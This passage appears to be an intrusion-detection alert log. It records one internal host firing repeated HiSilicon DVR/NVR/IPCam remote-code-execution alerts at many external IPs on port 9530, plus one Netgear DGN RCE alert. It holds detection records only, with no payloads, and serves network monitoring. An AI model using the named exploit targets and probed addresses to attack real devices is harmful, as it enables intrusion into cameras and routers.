Source Port:	51898
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 82.40.71.95

Timestamp:	05/16/24-16:39:02.748278
SID:	2030488
Source Port:	59878
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 82.40.71.95

Timestamp:	05/16/24-16:39:02.748278
SID:	2030487
Source Port:	59878
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 84.116.38.246

Timestamp:	05/16/24-16:38:55.225130
SID:	2030488
Source Port:	56956
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 1.159.119.46

Timestamp:	05/16/24-16:39:08.125231
SID:	2030488
Source Port:	59128
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 1.159.119.46

Timestamp:	05/16/24-16:39:08.125231
SID:	2030487
Source Port:	59128
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 32.242.248.65

Timestamp:	05/16/24-16:38:53.011282
SID:	2030488
Source Port:	50094
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 98.63.138.72

Timestamp:	05/16/24-16:39:12.382034
SID:	2030488
Source Port:	33404
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 54.206.63.115

Timestamp:	05/16/24-16:39:12.403674
SID:	2030487
Source Port:	58128
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 98.63.138.72

Timestamp:	05/16/24-16:39:12.382034
SID:	2030487
Source Port:	33404
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 54.206.63.115

Timestamp:	05/16/24-16:39:12.403674
SID:	2030488
Source Port:	58128
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 63.58.183.79

Timestamp:	05/16/24-16:38:59.604419
SID:	2030488
Source Port:	44998
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 69.152.60.251

Timestamp:	05/16/24-16:39:16.581421
SID:	2030487
Source Port:	34966
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 63.58.183.79

Timestamp:	05/16/24-16:38:59.604419
SID:	2030487
Source Port:	44998
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 69.152.60.251

Timestamp:	05/16/24-16:39:16.581421
SID:	2030488
Source Port:	34966
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 32.242.248.65

Timestamp:	05/16/24-16:38:53.011282
SID:	2030487
Source Port:	50094
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 118.169.120.39

Timestamp:	05/16/24-16:38:59.584383
SID:	2030487
Source Port:	37912
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 118.169.120.39

Timestamp:	05/16/24-16:38:59.584383
SID:	2030488
Source Port:	37912
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 153.201.190.98

Timestamp:	05/16/24-16:39:08.127165
SID:	2030487
Source Port:	37740
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 141.211.93.44

Timestamp:	05/16/24-16:39:14.532786
SID:	2030488
Source Port:	46040
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 153.201.190.98

Timestamp:	05/16/24-16:39:08.127165
SID:	2030488
Source Port:	37740
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 141.211.93.44

Timestamp:	05/16/24-16:39:14.532786
SID:	2030487
Source Port:	46040
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 73.1.138.244

Timestamp:	05/16/24-16:38:55.221754
SID:	2030488
Source Port:	38280
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 73.1.138.244

Timestamp:	05/16/24-16:38:55.221754
SID:	2030487
Source Port:	38280
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 167.189.128.172

Timestamp:	05/16/24-16:39:16.597888
SID:	2030487
Source Port:	37166
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 167.189.128.172

Timestamp:	05/16/24-16:39:16.597888
SID:	2030488
Source Port:	37166
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 41.55.157.140

Timestamp:	05/16/24-16:39:03.256814
SID:	2030487
Source Port:	52602
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 41.55.157.140

Timestamp:	05/16/24-16:39:03.256814
SID:	2030488
Source Port:	52602
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 105.127.254.255

Timestamp:	05/16/24-16:38:57.435741
SID:	2030488
Source Port:	55758
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 133.147.78.108

Timestamp:	05/16/24-16:39:05.678429
SID:	2030488
Source Port:	48114
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 105.127.254.255

Timestamp:	05/16/24-16:38:57.435741
SID:	2030487
Source Port:	55758
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 133.147.78.108

Timestamp:	05/16/24-16:39:05.678429
SID:	2030487
Source Port:	48114
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 31.109.239.97

Timestamp:	05/16/24-16:39:16.580812
SID:	2030488
Source Port:	41360
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 81.98.168.195

Timestamp:	05/16/24-16:39:12.384498
SID:	2030487
Source Port:	56650
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 178.49.207.124

Timestamp:	05/16/24-16:38:55.210430
SID:	2030487
Source Port:	47926
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 149.29.65.202

Timestamp:	05/16/24-16:39:02.725501
SID:	2030487
Source Port:	41256
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 178.49.207.124

Timestamp:	05/16/24-16:38:55.210430
SID:	2030488
Source Port:	47926
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 81.98.168.195

Timestamp:	05/16/24-16:39:12.384498
SID:	2030488
Source Port:	56650
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 149.29.65.202

Timestamp:	05/16/24-16:39:02.725501
SID:	2030488
Source Port:	41256
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 31.109.239.97

Timestamp:	05/16/24-16:39:16.580812
SID:	2030487
Source Port:	41360
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 94.242.104.80

Timestamp:	05/16/24-16:38:57.436361
SID:	2030488
Source Port:	34094
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 94.242.104.80

Timestamp:	05/16/24-16:38:57.436361
SID:	2030487
Source Port:	34094
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 221.211.82.79

Timestamp:	05/16/24-16:39:12.406034
SID:	2030488
Source Port:	39670
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 23.201.69.242

Timestamp:	05/16/24-16:39:12.382837
SID:	2030488
Source Port:	41510
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 23.201.69.242

Timestamp:	05/16/24-16:39:12.382837
SID:	2030487
Source Port:	41510
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 221.211.82.79

Timestamp:	05/16/24-16:39:12.406034
SID:	2030487
Source Port:	39670
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN Remote Code Execution - Source IP: 192.168.2.23 - Destination IP: 90.26.101.166

Timestamp:	05/16/24-16:39:13.634198
SID:	2034576
Source Port:	50716
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 4.57.50.244

Timestamp:	05/16/24-16:38:57.451872
SID:	2030487
Source Port:	43312
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 196.213.108.16

Timestamp:	05/16/24-16:39:12.301136
SID:	2030488
Source Port:	59364
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 196.213.108.16

Timestamp:	05/16/24-16:39:12.301136
SID:	2030487
Source Port:	59364
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 209.77.61.175

Timestamp:	05/16/24-16:39:14.507742
SID:	2030488
Source Port:	35894
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 132.33.84.40

Timestamp:	05/16/24-16:39:02.749283
SID:	2030487
Source Port:	35218
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 209.77.61.175

Timestamp:	05/16/24-16:39:14.507742
SID:	2030487
Source Port:	35894
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 132.33.84.40

Timestamp:	05/16/24-16:39:02.749283
SID:	2030488
Source Port:	35218
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 165.209.16.68

Timestamp:	05/16/24-16:39:02.766979
SID:	2030487
Source Port:	51846
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 106.120.188.128

Timestamp:	05/16/24-16:38:57.303968
SID:	2030488
Source Port:	39720
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 106.120.188.128

Timestamp:	05/16/24-16:38:57.303968
SID:	2030487
Source Port:	39720
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 116.186.171.97

Timestamp:	05/16/24-16:38:57.446970
SID:	2030487
Source Port:	44930
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 116.186.171.97

Timestamp:	05/16/24-16:38:57.446970
SID:	2030488
Source Port:	44930
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 116.5.126.125

Timestamp:	05/16/24-16:38:59.520046
SID:	2030487
Source Port:	49620
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 142.50.36.221

Timestamp:	05/16/24-16:39:08.127279
SID:	2030487
Source Port:	46902
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 145.205.178.107

Timestamp:	05/16/24-16:38:50.053182
SID:	2030488
Source Port:	55944
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 116.5.126.125

Timestamp:	05/16/24-16:38:59.520046
SID:	2030488
Source Port:	49620
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 142.50.36.221

Timestamp:	05/16/24-16:39:08.127279
SID:	2030488
Source Port:	46902
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 145.205.178.107

Timestamp:	05/16/24-16:38:50.053182
SID:	2030487
Source Port:	55944
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 126.178.134.79

Timestamp:	05/16/24-16:39:12.400603
SID:	2030488
Source Port:	51284
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 126.178.134.79

Timestamp:	05/16/24-16:39:12.400603
SID:	2030487
Source Port:	51284
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 80.110.143.175

Timestamp:	05/16/24-16:39:02.725540
SID:	2030488
Source Port:	40628
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 218.229.172.171

Timestamp:	05/16/24-16:39:02.765348
SID:	2030487
Source Port:	54090
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 80.110.143.175

Timestamp:	05/16/24-16:39:02.725540
SID:	2030487
Source Port:	40628
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 218.229.172.171

Timestamp:	05/16/24-16:39:02.765348
SID:	2030488
Source Port:	54090
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 218.100.16.15

Timestamp:	05/16/24-16:38:50.076349
SID:	2030488
Source Port:	48266
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 218.100.16.15

Timestamp:	05/16/24-16:38:50.076349
SID:	2030487
Source Port:	48266
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 164.133.42.164

Timestamp:	05/16/24-16:39:12.383624
SID:	2030487
Source Port:	42178
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 54.226.58.124

Timestamp:	05/16/24-16:39:16.582466
SID:	2030488
Source Port:	52930
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 164.133.42.164

Timestamp:	05/16/24-16:39:12.383624
SID:	2030488
Source Port:	42178
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 134.167.27.93

Timestamp:	05/16/24-16:39:14.492373
SID:	2030488
Source Port:	36592
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 54.226.58.124

Timestamp:	05/16/24-16:39:16.582466
SID:	2030487
Source Port:	52930
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 134.167.27.93

Timestamp:	05/16/24-16:39:14.492373
SID:	2030487
Source Port:	36592
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 121.175.41.109

Timestamp:	05/16/24-16:39:14.510031
SID:	2030487
Source Port:	57166
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 121.175.41.109

Timestamp:	05/16/24-16:39:14.510031
SID:	2030488
Source Port:	57166
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 73.183.116.56

Timestamp:	05/16/24-16:38:53.099175
SID:	2030488
Source Port:	34696
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 73.183.116.56

Timestamp:	05/16/24-16:38:53.099175
SID:	2030487
Source Port:	34696
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 133.169.223.193

Timestamp:	05/16/24-16:39:12.382056
SID:	2030487
Source Port:	54496
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 133.169.223.193

Timestamp:	05/16/24-16:39:12.382056
SID:	2030488
Source Port:	54496
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 150.209.179.37

Timestamp:	05/16/24-16:38:50.068917
SID:	2030487
Source Port:	37848
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 175.15.217.130

Timestamp:	05/16/24-16:39:05.700296
SID:	2030487
Source Port:	51166
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 175.15.217.130

Timestamp:	05/16/24-16:39:05.700296
SID:	2030488
Source Port:	51166
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 82.190.150.35

Timestamp:	05/16/24-16:38:59.558074
SID:	2030488
Source Port:	33624
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 82.190.150.35

Timestamp:	05/16/24-16:38:59.558074
SID:	2030487
Source Port:	33624
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 150.209.179.37

Timestamp:	05/16/24-16:38:50.068917
SID:	2030488
Source Port:	37848
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 221.109.90.163

Timestamp:	05/16/24-16:39:05.693325
SID:	2030487
Source Port:	43740
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 165.209.16.68

Timestamp:	05/16/24-16:39:02.766979
SID:	2030488
Source Port:	51846
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 43.69.48.36

Timestamp:	05/16/24-16:39:14.509949
SID:	2030488
Source Port:	33432
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 43.69.48.36

Timestamp:	05/16/24-16:39:14.509949
SID:	2030487
Source Port:	33432
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 69.179.234.21

Timestamp:	05/16/24-16:39:08.115454
SID:	2030487
Source Port:	57376
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 69.179.234.21

Timestamp:	05/16/24-16:39:08.115454
SID:	2030488
Source Port:	57376
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 37.142.200.239

Timestamp:	05/16/24-16:38:53.084746
SID:	2030488
Source Port:	60776
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 221.109.90.163

Timestamp:	05/16/24-16:39:05.693325
SID:	2030488
Source Port:	43740
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

